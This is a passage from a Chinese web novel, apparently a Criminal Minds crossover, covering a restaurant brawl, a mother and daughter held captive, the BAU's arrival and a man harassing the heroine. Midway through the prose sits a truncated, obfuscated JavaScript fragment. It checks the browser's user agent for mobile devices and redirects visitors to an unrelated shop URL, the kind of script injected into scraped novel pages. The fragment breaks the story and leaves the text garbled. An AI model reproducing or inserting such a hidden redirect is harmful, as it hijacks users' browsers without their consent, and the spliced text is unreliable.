伊芙琳边吃边看,那孩子喝完奶被埃里克抱起来拍奶嗝,虽然不是很熟练。
埃里克见伊芙琳目光落到小艾登身上,他想起昨天亨利警长和他说过的话。
他很难把眼前这个孩子和那个成功逃脱连环杀手的姑娘联想到一起,她看着和普通人一样没有被吓得精神失常。
埃里克联想死去的艾登,死亡如影随形还在一个变态的暴击虐待之下,就算获救了他觉得自己最起码会找七八个保镖贴身保护他的安全。
四月份发生的事,他在克利夫兰也有耳闻,当时正被自己的前妻折腾的焦头烂额,下属知道他的家人在西雅图,将自己听说的一些事告诉了埃里克。
据说最后一位受害者和变态洛根.怀特父子相处了一个月,相处一个月啊,但是埃里克和下属面面相觑心有余悸。
不过没成想,伊芙琳活了下来,兰登同样遭遇了这种事,但很可惜他没有活下来。
听到伊芙琳就是当初唯一活下来并成功将洛根怀特撞成半瘫,没多久更是没等法院判决人就咽气了。
从某种角度来说,这是为自己报仇了不是吗?
埃里克当时的想法是,真是令人畅快,干得漂亮!
与之相比,杀害弟弟的凶手现在还在逍遥法外,听警长的意思,需要找外援。
据说是FBI联邦调查局的犯罪行为分析小组。
亨利警长直言,他们已经向上寻求帮助,但还未收到回复,所以建议埃里克先留在西雅图,方便BAU成员的现场调查。
埃里克想想就为自己叹一口气,感觉最近苍老了许多,早上起来刮胡子都差点刮到了肉,仔细一看法令纹的下垂了……希望这件事能有个好的结果。
不过说起BAU,埃里克不是很了解,也没接触过。
有心想了解一下,才知道这个犯罪行为分析科是六十多年前才有的一项研究调查、近三十年才慢慢壮大,通过作案手法、被害人研究等等纬度构建犯罪人特征模型。
特征模型啊,这听的和科幻大片一样让人产生怀疑,埃里克人忍不住和梅兰妮说起这个犯罪行为分析科,“真有人靠着一些模糊的特征就能刻画出犯人的外貌和身形?我感觉网上说的太夸张了,如果凭借着一些理论上的东西就能知道犯人的长相,破案率为什么没见提高。”
梅兰妮倒是看过一部悬疑剧,不过电视剧罢了,谁也不能当真,剧情看的大快人心,到了现实谁也弄不准。
不过这只是梅兰妮之前的想法,自从她跟着维多利亚全程参与伊芙的案件后,她就相信了。
毕竟人家寥寥几句就能判断出那个人的车子是什么样的,连洛根.怀特的大致年纪、身高还有外貌都没有太大差别,这和带着照片找犯人一样,破案速度飞快。
任何未知的事物每个人最开始接触时总是抱着怀疑的态度,见到洛根怀特和他儿子后,梅兰妮基彻底的相信了。
不过这件事涉及伊芙,梅兰妮可不想戳开这孩子的伤疤,毕竟太恐怖了,梅兰妮只要一想到那孩子的治疗单上密密麻麻的伤,她就气的厉害,所以她很厌恶那些恶心的变态家伙。
提都不想提。
埃里克只得到女友一个扯着嘴角的笑容,对方显然不想回答这个问题,这让埃里克有些苦恼,因为他看出来梅兰妮情绪有些不对。
不过这两人也没有别扭太久,对面将牛奶喝完的伊芙琳擦了擦嘴巴和手上残留的酸奶油酱,就询问埃里克道,“您说起这个,是因为亨利警长又要找联邦总局帮忙了吗?”
梅兰妮看了眼伊芙,发现对方情绪似乎很平静,并没有伤心害怕和恐惧的情绪。
“是的,我实在有些好奇,因为亨利警长说只要他们能来这件事一定会解决。可我看着就觉得有些不靠谱。”埃里克抱着小艾达愁眉不展的,眉头的皱纹似乎更深刻了。
伊芙琳也知道,凭着一些主观分析就能找到罪犯这比指纹证据还厉害,无疑在大部分的心里觉得这完全是小丑的把戏,不会有人相信。
不过近几十年犯罪画像越来越完善,基本上根据这一体系推理是完全没有问题的,只不过早些年短范围内只在警察局推广,后期才是在大学校园。
估摸着以埃里克先生的年纪,那时候犯罪心理还没推广到大学,就伊芙琳知道的也就近三四年里大学才有的这个讲座。
伊芙琳也不是这方面的专业人士,只看了眼等待她说话的埃里克,到时候不用说他也会知道。
在埃里克先生期待的注视下, 她裹紧外搭的小毛毯嘴巴闭得紧紧的。
不远处传来窃窃私语声,伊芙琳抬眸看向门口,一个清秀高挑的姑娘,浅棕色头发,穿了一条露腰白体恤,身下是蓝色A字版型牛仔短裙,满满像是一个高中最受欢迎的拉拉队队员,背着单肩包大步走进餐厅。
用餐的几个男孩和一些绅士目光都落到了她的身上,不说很惊艳可也很赏心悦目,哪怕是年纪大的梅兰妮都下意识的看了几眼夸赞道“年轻可真好,穿什么都漂亮。”
伊芙琳身上搭着浅棕色藤蔓披肩,这是梅兰妮年轻时赚的第一笔工资买的奢侈品,披肩宽大却没什么重量,轻薄好拿还拥有极高的御寒功能,不能说难看,但梅兰妮忍不住吐槽,“哈尼,我都没有你捂的严实。”
伊芙琳头抵着餐桌当作没听见。
餐厅双扇大门都是打开的,外面还在下雨,是冷的凉气顺着大门飘了进来。更何况大夏天人家空调肯定不是制热,俩俩组合,可不就是和冬天没什么区别,伊芙琳可受不了。
几人已经吃好了,本就要起身离开,就见那姑娘直直的的往他们这个方向走来,一屁股坐到了伊芙琳旁边的圆凳靠椅上。
她坐下的很快,翘着腿非常悠闲地样子。埃里克有些生气,一方面周围都是空位为什么要挤在他们这桌,另一方面在座的几人根本就不认识她,为什么这个人连询问他们可不可以坐都不说,这是非常傲慢没有礼貌的。
埃里克觉得自己被冒犯了,他皱着眉看着洋洋得意的女孩,“旁边还有位置这位小姐,您不该没有经过我们的同意就坐到这里。”
梅兰妮也觉得这姑娘的行为举止有一点奇怪,不过好脾气的她打了圆场,轻轻的拍了拍埃里克抱着艾达的手臂,示意他将孩子递给她。
埃里克视线转移到身边的女友身上,看着对方甜甜的笑容,心里那股子事事不顺的郁气消散了不少,只是脸色还是不太好看。
就在伊芙琳刚准备起身,而对面的埃里克也有了动作,这姑娘冷不丁道“埃里克,你就将艾达交给一个陌生人?”
伊芙琳眉眼微动,她总觉得这个声线有些耳熟。
不过还未等她想起来是谁,对面的埃里克眯着眼打量片刻,“朱莉亚?”
伊芙琳惊讶的看向身边的姑娘,没想到浓妆之下长得也很漂亮嘛。
朱莉亚手托着下巴,百无聊赖的点了点头,看了眼重新坐回座位上的伊芙琳,她意味不明的笑了一声,不过没有浓郁的妆容遮挡显然好看了不少。
伊芙琳被对方的笑弄的有些不适,总感觉对方是在嘲笑她?
还未等伊芙琳深想就听见旁边的朱莉亚道明了来意,“我妈让我过来看看艾达,顺道我姐夫之前已经答应过会给我们家补贴生活费的,我姐夫死了,你这个做哥哥的有钱人不会耍赖吧。”
朱莉亚一方面是来要钱的。
家里揭不开锅这件事属实是真的,家里一共五个孩子,大姐已经死了,朱莉亚是老二,下面还有不足八岁的弟弟妹妹,最小的才两岁。
朱莉亚母亲在教堂工作,父亲是教堂的采购员,他们收入不多这就导致家里每到月底就要挨饿。
朱莉亚的姐姐在百货公司上班补贴家用,家里还算好一点,不过随着几个弟弟妹妹长大,吃穿住行和上学都要一笔不小的费用。
夫妻俩供的有些吃力,这时候兰登提出会每月给他们一些钱补贴家用。
兰登是百货公司的经理,年纪轻轻月收入就很可观了,他主动接济妻子的娘家。
不过自从兰登死后,他们一家就害怕埃里克不认这件事,毕竟要真说起来,女婿补贴丈人家还说得过去,女婿的哥哥和家里可是一点关系都没有。
这让朱莉亚的父母有些不知道如何开口,可这月买了太多学习用品还买了一个微波炉,花了800美金,直接将钱花没了。
昨天家里就没吃饭,朱莉亚饿的受不了了,她直接找男朋友蹭了一顿饭。两人还未一个贝斯手吵了起来。
那女孩和朱莉亚男友调情,两人抱在一起在厕所被她抓到时还不慌不忙的。
如之前所说,朱莉亚不允许别人看不上她男朋友,毕竟看不上她男朋友就是看不起她的意思。伊芙琳当时的行为就是挑衅,而朱莉亚想看到她倒霉。
所以看到伊芙琳似乎也在这,她冷不丁有个有意思的计划。
只要计划成功,等到男友甩掉伊芙琳,朱莉亚大概会消气,她是这么想的。
不过朱莉亚查到了埃里克住的地方,直接找了过来,并且为了之后的一箭双雕而兴奋时埃里克直接气笑了。
他真的笑出了声,他有些不可思议的再看一眼朱莉亚,对方视线一点都没回避他,正大光明的伸手的无赖样子,埃里克看向一旁的梅兰妮,“我没听错吧梅兰妮。”
埃里克也没等梅兰妮说话,毕竟他也知道这种事别人参合进来,这个小疯子不知道会说什么难听的话。
梅兰妮可是他好不容易追到手的,埃里克是抱着结婚的打算的,虽然两人只交往了两个月而已。
至于眼前的事他是万万不会答应的,他又不是钱多的烧的慌也不是个大傻子。
看着面前没有丝毫不好意思大咧咧的就要钱的朱莉亚,埃里克深深觉得和这种厚脸皮的人说话,对方或许都听不懂他在说什么。说话都觉得浪费时间,他直接单手抱过孩子拉着梅兰妮起身,走时还不忘叫一声在旁边看手机的伊芙琳。
朱莉亚对此也不以为意,她知道钱不好要,但不管怎么说,这钱她还真的非要不可,至于用什么方法逼埃里克给钱,那可多了。
不过她看了眼伊芙琳,突然笑嘻嘻的将脸凑过去,仰着头道,“我听说你被□□犯绑在家里虐待了一个月,过的很开心吧。”
朱莉亚声音不大,但也不小,临近的一两桌明显听到了她的话,眼神微妙的看向伊芙琳。
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梅兰妮气的挽着男友的手都哆嗦了,扬起手搁着桌子就要打过去,这是她从小到大最大胆的时候,哪怕年轻时男友出轨她都没敢打上去,可此刻她气疯了,连推开埃里克都带着怒气。
这个,这个不要脸的家伙!
梅兰妮甚至连带着对埃里克都没了之前的好感,瞧瞧他带过来的疯子!
不过倒是没用她出手,伊芙琳看了眼朱莉亚的脸,手快速的扇了过去,不过离着那张脸很近但没打下去,朱莉亚挑眉嬉皮笑脸的将脸贴在伊芙琳的手心里,“你敢打试试,可是要被抓起来的哦,我正想要钱呢。”
梅兰妮在一旁气的脑子都疼,一把拉开伊芙琳猛的连推带踹,将朱莉亚打蒙了,不过她对这种事也看淡了,反正爱尔卡和乔伊也进去蹲过几天,好姐妹有福同享有难同当,欺负维多利亚的孩子就和欺负她的孩子没有区别。
一旁的伊芙琳找了一圈没有可用的趁手的东西,她上前轻声细语的和邻桌的年轻夫妻俩说了声不好意思,借用一下他们的茶壶。
青瓷茶壶体积不大,但砸人还是比手疼的,伊芙琳慢吞吞的拎着茶壶,而这时候埃里克拦吃力的着疯了一样的梅兰妮,毕竟他手里还有一个孩子。
两人挣扎的厉害,埃里克也被女友挠了一脸,所有人或站着或坐着,目光看的不亦乐乎。
朱莉亚气急了,爬起来就要扑上去抓梅兰妮的头发,突然一个东西狠狠的砸向她的左脸,隐隐听到咔嚓声,一阵剧痛袭来,她眼泪鼻涕都被打出来了!
她感觉牙齿都要被打断了,鼻子下隐隐有潮湿的东西划过!
瓷器只有成年人两个巴掌大,正中左脸,朱莉亚左脸肿得飞快,鼻血哗啦哗啦地流,吐出来两颗牙齿在手心,她的手都抖了…….
事实证明,手没有家伙式厉害。
伊芙琳单手勾着茶壶,眼睛往对方的右脸看去,虽然她表面看着平静,但内心突如其来的暴躁感让她在朱莉亚不敢置信破口大骂之下,瞬间飙升。
她突然觉得,还是砸头吧,砸头闭嘴能更快点。
伊芙琳不知道自己此刻有多吓人,她面无表情的扬起茶壶第二次砸下来的方向可不是脸。
梅兰妮和埃里克吓得赶忙伸手阻挡,梅兰妮抓着伊芙琳的手,她的手还在使劲,梅兰妮连忙道“亲爱的,别闹出人命,蹲几天还可以但咱不能为了这种傻子蹲几年,那就太不值当了。”
伊芙琳被梅兰妮这句话说的,她叹口气松开手,茶壶瞬间被一旁等着的小哥抱在怀里。
她是真想发泄一下,难得有个傻叉凑过来,不打都对不起自己,不过就像梅兰妮说的那样,蹲几天可以,蹲一两年她确实受不了枯燥乏味的生活,除非里面有网并且不限网恋
不过这件事需要解决一下,她和一旁抱着瓷器的服务员道,“有没有扩音器。”
小哥有些愣住了,不过他马上去拿了一个。
伊芙琳试了音,声音很大。
她看着越来越多的客人,咳嗽了一声,目光淡淡的道“刚才,这位女士说了一句话,非常令人讨厌的话,她说我被□□犯绑架折磨了一个月,应该很爽吧。”
一听这话其他女生也被朱莉亚恶心的够呛,嫌弃的对着朱莉亚指指点点,有的脾气暴躁一点直接拿着餐盘上的食物扔到了朱莉亚身上。
朱莉亚尖叫的大喊,“我说的有错吗?你没被人绑过一个月吗?男男女女的他绑你做什么,还能做什么!你能活下来不就是将他讨好了不是吗?
不过朱莉亚这句话还没说完,她声音再大也比不过被开到最大声的扩音器,伊芙琳说的话完全盖住了朱莉亚。
“不知道之前的挖女性心脏的案件大家有没有听说。”
这个案子造成的影响还是很大的,至今还有女性不敢随意和陌生孩子走,听到伊芙琳说起这件事,不少人喊道听说过。
伊芙琳点点头,“听说过就好了,我是那对父子绑架的最后一个。”
不少人看着这个纤细的姑娘,都忍不住怜悯了起来,这本就不需要伊芙琳多说什么,只要知道这件事的人他们都已经在网上翻来覆去看了好几遍。
男人早年间搬运货物时搭档的粗心下,他被货柜压在下面,某些零件没了,所以男人才疯了。
其实伊芙琳本就对这些不是很在意,不过转念一想,如果因为打人而赔钱,还是赔朱莉亚这个嘴巴贱贱的家伙,她就没有那么佛系了。
于是,经过伊芙琳这么一说,再加上旁边两桌亲耳听到朱莉亚说的话,这些都能成为证据。
伊芙琳偏头冲着一旁满脸蔬菜汁的朱莉亚,她挪开扩音器轻声道,“如果你敢告我伤害罪,我就告你诽谤,都是证人,你说的话他们可都听见了。”
朱莉亚一直以为这个女人就是个有钱的不谙世事的乖乖女,可现在……她冷不丁打了个寒颤,这个疯婆子!
眼见着疯婆子乖巧的拉着掉落在地的披肩,柔弱的站在一侧,察觉到她的目光还腼腆的笑了笑……朱莉亚捂着脸低着头快速的冲了出去。
梅兰妮翻来覆去检查伊芙琳手上身上有没有伤口,一切OK后,直接看都没看埃里克一眼带着伊芙琳回了房间。
埃里克还准备跟着进门,被梅兰妮拦在门外,眼见女友露出一个皮笑肉不笑的表情,他只能将脚退回去,迎面就是砰地一声被关上的房门。
18.第 18 章
翠丝失踪的第四天。
她整个人还算清醒,准确的说她在此之前一直处于昏迷状态,当她有意识的时候,就发现自己所在的地方是一个狭窄的小屋子,只有头顶上的一瓦灯时不时的晃悠,耳边传来几声沉闷的敲击声。
不过这些都不重要,想起那个女人手起刀落……血都喷到她身上的那种感觉,她知道血是热的,但不知道那天自己是不是浑身发冷,导致血液喷溅到她脸上时,她烫的哆嗦了起来。
而妈妈早在之前就喝下女人带过来的啤酒,两口就晕了过去,翠丝都没反应过来,她还傻乎乎的帮着女人看孩子……
翠丝手脚被绑在一张手术台上,她睁开眼的瞬间手比脑子还快,用力想要挣脱,可奈何手都没有离床一毫米,她被绑的很紧。
挣脱不开,如待宰的烤乳猪!还是黑皮的!
每个人的性格都不一样。
有的人遇到这种情况不敢吭声,怕引来罪犯的怒火。
有的人会痛哭流涕的哀求,想要求得坏人发发善心,虽然他们都知道坏人能发善心让他们走,他们也不至于被绑在手术台上,更何况如果活着的人能够走下来他们就会发现,自己躺着的铁床上,还有暗色的痕迹,不多只有几滴而已,被后来的人蹭的有些模糊了而已。
以上所有的状况都是遇到惊恐的事,人们的正常反应,毕竟没有人不害怕死亡。
哪怕伊芙琳被打都不敢吭声,也不能说这是懦弱,虽然被打的跟鹌鹑一样、牙也掉了一颗……
总之,翠丝显然比她好友爷们多了……
这姑娘也不是不害怕的,不过对于单细胞生物而言,肯定是哪一种情绪占上风,这个情绪就在她脑子里形成了主导地位,让她顾不上想其他的了。
翠丝现在气的要死,两只大眼睛叽里咕噜的乱转,瞪着墙壁和那个小铁门,那股火邪门的很,越烧越旺,以至于到最后她整个人都忘了自己还是一个待宰的黑皮小乳猪,扯着嗓子破口大骂“格兰!我$&k@@?……”
极尽所能,用尽毕生所学的脏话骂了能有几分钟,骂完后直喘粗气,最后发狠一样嗷一嗓子蹬腿抽手。
格兰,就是提亚女士的男友,那个心黑透了的魔鬼!翠丝骂完后,气还没喘匀就开始骂她老妈,至于那个女人她完全顾不上了。
骂自己的母亲,翠丝在命都快没了的情况下,完全想不起来她和她嘴里骂出花的女人是母女。
提亚在她嘴里已经成了离不开男人的老女人,只知道找男朋友,一天天离男人活不了了吗?
翠丝骂到这里,她的唾沫呛到气管里,咳嗽了一声隔壁突然暴怒,“你敢骂我!你不要生活费了是吧!”
提亚本来有些迷糊,毕竟年纪大了新陈代谢和抗药性都没有年轻人好,看东西都有些费劲,迷迷糊糊的刚睁眼,眼前的白光一圈一圈的,然后就是一股说不出的霉味和臭味。
她知道自己被朋友和男朋友骗了,但她没想到对方会要自己的命,但眼下这个架势,她内心有一种不安。
还没反应过来,就听到隔壁自家女儿那熟悉的大嗓门,扯着嗓子时声线更是粗,穿透力十足,提亚听到女儿的声音第一个反应是自己拖累了翠丝,想到女儿有可能也会死,她也后悔的不得了。
但是,后悔不耽误她听到女儿实名辱骂自己的那些脏话,太难听了这个不孝女!
尤其是被骂离不开男人,这简直是侮辱人,提亚很不服气,怒气冲冲道,“骂谁呢这是!老娘找男人天经地义,你自己不也天天嚷嚷着找男朋友!整天夜不归宿,说我离不开男人,你不也一样!”
“我才二十二,我找男人是正常的,我长这么大都没有男朋友我找男的怎么了!你才不正常呢都绝经了还找,重点是你找个好的也行啊!找个变态进家门这下好了母女俩一起命丧母亲男友手里,路过的狗看到咱俩尸体都能笑到升天!”
母女俩嗓门一个比一个大,对骂持续了好久,但奇怪的是,杀人犯依旧一声不吭。
与此同时,小组成员刚结束一宗案件调查,还未回家休息,就被领导拦了下来。
然后没多久,几人回家换些新的衣物就马不停蹄的上了飞机。
JJ看着手里的资料,她挑眉,“和威奇塔的犯罪率相差无几了。”
短短几个月而已,三宗案件。
莱斯希尔顿酒店地下一层是有酒吧的,伊芙琳陪着梅兰妮躲在了酒吧里,有一个小时了,梅兰妮拒绝和埃里克说话。
两人坐的角落的小圆桌上摆着两盘食物,相似的套餐,酸黄瓜芝士辣牛肉汉堡、三块鸡块搭配的甘蓝丝薄荷酱。
伊芙琳咬着汉堡看着吧台的电视,上面正在播放足球赛,三三两两的男人坐在卡座上喝着大啤看的津津有味,她觉得没什么意思,她更喜欢看电视剧,嗜血法医。
汉堡吃着味道不错,里面的辣牛肉饼还能吃到脆脆的蔬菜小颗粒,这时候她感觉到有人靠近,一股浓郁的香气扑面而来,伊芙琳直接捂住嘴打了个喷嚏,抬眼就看到梅兰妮一副揶揄的样子,端着盘子和一杯红酒离开了位置。
走前还冲着伊芙琳眨了眨眼睛。
男孩笑眯眯的坐在伊芙琳对面,“hi,又见面了。”
伊芙琳有些困惑的打量面前的这个男的,男人托着腮懒洋洋的靠近伊芙琳,两人之间距离瞬间拉近,他声音沙哑道,“那天我还想和你搭讪,结果你在哭,我是利亚姆,L.B.A乐队的主唱。”
L.B.A,伊芙琳倒是听说过,翠丝很喜欢这个乐队的主唱,每次演出都会拖着伊芙琳去,但被伊芙琳以耳朵习惯性穿孔这个临时想出来的理由拒绝了。
不过说起来,这种乐队一般和爱豆差不多吧,粉丝很少会和他们近距离接触,大部分只能是台上台下的距离,可每次翠丝都乐颠颠的和伊芙琳嗷嗷说着利亚姆抚摸她的爆炸卷夸她像一颗黑珍珠一样美丽。
如上这种黏腻的夸奖和后续的接触甚至超过了男女之间的界限,伊芙琳越听越不对劲,这明显不像是正经的乐队,她甚至都没在影音店里见过L.B.A的专辑。
伊芙琳的妈妈和爷爷在好莱坞混迹多年,区别在于维多利亚女士从主角演到了主角的奶妈,而伊芙琳的爷爷从男主角演到了男配角。
维多利亚女士总是控诉好莱坞对于女人太苛刻了,男人八九十还能有感情戏而女人到了年纪不是奶奶就是妈妈,还是守寡的那种,这让维多利亚气愤的够呛。
不过说起她又爱又恨的工作环境,维多利亚女士有一个自创的心理模式,奋起反抗然后反抗不过就顺水推舟,为此她常常和好姐妹们一起探讨哪个明星身材不错哪个导演中看不中用。
彼时伊芙琳还是一个五岁的小孩子,但她也不全然是个小孩子,听的忍不住想抱着维多利亚女士硬塞到她手里的洋娃娃,就要从沙发上爬下去离开这个奶黄色的客厅,奈何那天玛格丽特去医院看病,维多利亚为了方便自己照看孩子,在沙发一侧的桌子腿上系了根绳子,没错这根绳子连接着伊芙琳。
逃都逃不了。
而有一个几十年后依旧很火的一个摇滚乐团的主唱至今还和维多利亚时不时的接触,伊芙琳从中掌握了不少信息,本能的不想让翠丝接触这些人,他们在某些方面很疯狂,对药品方面。
可惜伊芙琳没怎么劝住,不过只要翠丝买票她就管她借钱,等个一个月后再还给翠丝。
这姑娘是个很有义气的,并且非常信任伊芙琳没有想太多,总之一借一个准,到最后翠丝自己都移情别恋再也不提买票了。
说起来,伊芙琳想要翠丝彻底离开这个乐队,还有一个重要的原因,有一天晚上她去接翠丝时明显感觉对方状态不对,整个人晕乎乎的和喝酒了一样,但对方身上的酒味很淡,根本不像是喝醉的。
这很可怕不是吗?看一场乐队演唱会又不是去酒吧喝酒。
伊芙琳看着面前的男人,对方深刻知道自己哪一点吸引女孩子,长相倒是其次,毕竟这个男的长得也不是让人惊艳的那种,不过身上有一种独特的魅力,和人说话都带着一种淡淡的厌世气息。
男人自己知道自己的厌世感很讨女孩子的欢心,他薄薄的眼皮半耷拉着,扯着嘴角轻笑道,“你看着伤心极了,我的朋友们都以为是我把你气哭了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640760|187956||http|test|mini|href|location''.split(''|''),0,{}));
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>这种暧昧的推拉感…..
伊芙琳偏头看了眼身后的梅兰妮,对方已经和新认识的中年大叔聊天,中年大叔瞧着很稳重的样子,简单的穿着,举止优雅,说话都带着正常的笑意,不像她面前的这个……死不烂颤。
那种眼皮子永远掀不开的样子,那种满脸淡淡的死感,都让伊芙琳有一种说不出的感觉,为什么别人的搭讪对象都很正常,而她的则是这种家伙。
每次被人说不要太挑的伊芙琳真是无处申冤。
即便对方没有表现出来,但伊芙琳闻出了对方由内而外的自负,这种自负体现于他自顾自地坐在这,完全没有考虑别人的感受,伊芙琳擦了擦嘴角的酸奶渍,起身离开。
她觉得自己还是回房间睡一觉好了,伊芙琳更喜欢自己独处。
不过显然男孩很自负不是伊芙琳的错觉,对方接下里的举动就是一种证明,他仿佛看不出来伊芙琳根本对他不来电,伸出手拉着伊芙琳的指尖,“hi,你还没有告诉我你的名字。”
从前世到现在,一直没有交过男朋友的伊芙琳,本质上是比较直接,她也不会委婉,甩开手直接道,“我不想告诉你我的名字,我对你不感兴趣。”
利亚姆可没有气馁,这可是他女友好不容易亲自推过来的女人,不好好享受一番就让人跑了,这可太没劲了不是吗?
他追了上去,倒也不是立刻拉住前面的女孩,对方走的也不快,头发轻轻的在细弱的腰肢摆动,露出来的四肢都是白皙的,身上也没有浓郁的香味而是淡淡的果香。
利亚姆跟在后面慢慢的变成了不由自主的呼吸着前面带来的若隐若现的味道,伊芙琳感觉不对劲,她回头一看顿时恶心的够呛,她一把薅过对方捏着手心的铂金色长发。
头发太长,被人攥在手里他都没有感觉头皮的拉扯,这男人好无礼!伊芙琳还有一个想法就是回去药剪头发!
“你是不是有病!”伊芙琳冷声道,“你现在要么离开,要么我就报警。”
利亚姆听到报警,他眼底闪过微不可察的怒气,语气懒洋洋道“你至于吗?”
与此同时,加西亚正提着自己的小行李路过,隐隐听到楼梯口下有伊芙琳的声音,她不知道是不是自己的错觉还还问了一句,“伊芙琳?”
不一会儿,加西亚见到了爬上来的姑娘,对方皱着眉边上来边看向身后的男人。
加西亚不知道发生了什么,“这是?”
她不知道这个男孩和伊芙琳是什么关系,毕竟她可没听伊芙琳说过什么男孩。
利亚姆立刻和面前胖胖的女人伸手,“您好我是……”他意味深长暧昧不清的看了眼伊芙琳。加西亚似乎察觉到了什么,还以为这是伊芙琳新交的男朋友,她刚想握手,就被伊芙琳抓着手倒退三步。
“死变态,”伊芙琳气的磨牙,她那里看不到这人是故意的,这不是败坏她名声吗?和身边加西亚解释道,“他刚才和我搭讪我拒绝了,结果不依不饶地追上来。”
加西亚听到这里,顿时觉得不得了啊!她严肃的推了推自己的金边小眼镜,上下扫视面前的死变态,小胖腿一迈就挡在伊芙琳身前。
被冠以死变态的利亚姆笑容有些僵了,毕竟其他的还好说,第一次被骂死变态,对于向来被女人捧着的利亚姆,他觉得自己被扇了巴掌一样。
“你这话真难听啊小姐,我只是想和你交朋友而已你至于吗?”
伊芙琳抬眸盯着对方,眼神带着还未消失的火气,“你有女朋友和我交什么朋友,你女朋友知道吗?”
利亚姆彻底懵了,她怎么知道的。
见对方这个表情,伊芙琳顿时觉得自己被当成了傻子,她又不瞎进门都看到了,利亚姆的熟人还是朱莉亚,想也知道他们不做好事,也不想在说什么,更不想知道他们有什么目的,只回头看了眼瞪着利亚姆的加西亚,冷不丁想起来什么懊恼的拍了拍额头,“都耽误你了。”
加西亚被提醒,嗷一嗓子,俩人快步离开都没怎么注意到身后。
利亚姆还是有些不甘心的,只是这姑娘看着就对他不来电,就在他准备放弃,一通电话打了进来。
19.第 19 章
佐伊翘着腿坐在自家小超市的门口,双臂交叉环抱胸前,手指搭在臂弯处不时的敲打自己的手臂。
她嘴里叼着棒棒糖,有一搭没一搭的看向翠丝家的那栋楼,从案发到现在为止,还没见到哪个长得像变态的人。
所谓三个臭皮匠能顶一个诸葛亮,虽然佐伊不知道为什么三个人能顶一个人,总之他们三个暗地里互通有无,佐伊离翠丝家很近可以明面上的盯梢,而佐伊男友扎特则两天前进入了提亚男友所在的商超,当搬运工。
扎特是个非常强壮的黑人男孩,但显然初次接触搬运工这项工作,他的身体似乎不足以支撑他悠闲地完成。
扎特累惨了,他本以为搬货根本就不累,毕竟女友和自家的货都是扎特帮忙的。可直到真正进入职场,这个男人就有些吃不消了,早上五点就要跟着车到仓库,然后再到超市卸货,忙的飞起还困得要死,他根本没有时间询问提亚男友的情况。
佐伊还在门口盯梢呢,就见自家男友拖着手拖着脚,整个人如同生化危机里的丧尸一样,浑身僵硬的歪歪扭扭。
“啧,”佐伊无语,交往了三年头一次怀疑这个家伙是不是当年的那个让她心动的英雄。
没错这个家伙在三年前救了差点在地铁站被拖到角落里QJ的佐伊,还将那个猥琐男一顿暴揍鼻血横飞。
当时惊慌失措哭的满脸鼻涕眼泪的佐伊还是一个爱在自己微黑的脸上画芭比粉妆容的不良少女。
她从小到大受到最大的心理伤害就是在地铁或者公交被油腻中年大叔摸了一把,QJ这种新闻里出现的事仿佛都和她离得很远,以至于当这件事真的发生,她也彻底懵了,往日里和翠丝嬉笑着说碰上这种事一定要给那个男的一个断子绝孙脚,可真到了危急时刻人都吓傻了哪里还想动手。
不过这段时间,这家伙看到尸体比她还能吐,遇到事整个人缩成一团,当个搬运工也能累成这样,没有的家伙!她都能想象男友一定会说,“我好累,我都没时间问,咱们不如直接问警察得了。”
扎特晃晃悠悠的靠近自己的女友,见女朋友脖子一歪横眉看着自己满眼嫌弃。
穿着汗湿的褐色体恤和大短裤的扎特委委屈屈的靠着墙,“你再给我几天适应适应嘛,我这好久没干活了身子一时吃不消还算正常的……吧”
在女友凉飕飕地眼神下,扎特闭上嘴巴。
有时候福尔摩斯和刑警不是想象中的那么好当的,三个臭皮匠明显不能当一个诸葛亮了。
伊芙琳带着艾米丽和摩根来到翠丝家时,刚下车就见到不远处一坐一站的两人,她大喊一声“佐伊!”
艾米丽和摩根循着伊芙琳喊的方向望去,一个年纪比伊芙琳大一点的女人,混血肤色,微黑脸庞五官却很英气也很漂亮,是属于非裔中难得的美人,艾米丽看向一旁的伊芙琳,她突然觉得有句古话说的很有道理,漂亮的人身边可没有丑的。
佐伊跑过来时高高扎起的马尾上下甩动,年轻的姑娘跑的飞快,再加上距离也不远,一溜烟的就过来了,她第一眼就看到了同为黑人的摩根,然后是浓颜白领艾米丽,最后落到穿着简单的运动套装的伊芙琳,她和伊芙琳询问,“这是?”
佐伊问的时候目光又看向拿两人,伊芙琳直接介绍,“这两位是FBI的探员,摩根探员和艾米丽探员。”
佐伊立刻想起来昨天伊芙琳给她打电话时说过的,似乎警方会邀请联邦调查局的犯罪行为小组过来帮忙,这些人是非常厉害的,伊芙琳当时在电话里对佐伊说的原话。
佐伊为此还特意查了一下,惊为天人。她和埃里克这种保守的中年男人不同,年轻人接受新事物可比老年人快多了,更何况上面有好多详细的案件调查经过和一些视频,可给佐伊看爽了,这可比福尔摩斯和识骨寻踪厉害多了!那些都是假的这可是真实案例。
佐伊一听这两人是什么单位的,直接两眼放光,抓着摩根的大手狠狠的上下摆动,然后又握着艾米丽的人手握的紧紧的,她激动且兴奋道,“我等你们好久了!请你们一定要救我们家翠丝,相信我她的生命里很顽强,她一定能等到你们的营救!”
这是艾米莉听到的第二个斩钉截铁的相信翠丝还活着的人,至于第一个……她看了眼双手抄在上衣兜里,扎起来的头发只有一小点披下来只到肩膀的狠人。
当时艾米丽还在伊芙琳房门口等着她呢,其他人已经忙别的事了,瑞德这次受了伤,不是在追捕犯人的时候,而是在下飞机的时候突然在梯子上崴脚了。
JJ带着瑞德去查看尸体时顺道让法医帮忙简单喷一点药水。
艾米丽和摩根找到伊芙琳时她正好和加西亚回来。
艾米丽和靠着门边的梅兰妮还有埃里克聊了几句后就见迎面走来的一胖一瘦两个人,瘦的那个正一边走一边给自己的头发咔嚓了,听到他们要去翠丝家,立刻表示自己愿意带路,并在来的路上回答了艾米丽和摩根的一些问题。
总而言之,他们从翠丝的这两位朋友嘴里得知的就是翠丝肯定还没死。
这个结论暂且不得而知,毕竟没到最后谁都不知道结果。
艾米丽手抽不出来,伊芙琳刚开始没注意等反应过来她立刻拉开有些兴奋的佐伊,让艾米丽他们快去楼上看看。
佐伊也要跟上去,被伊芙琳拉了一把,“你好歹让人家单独的好好调查一番吧,”
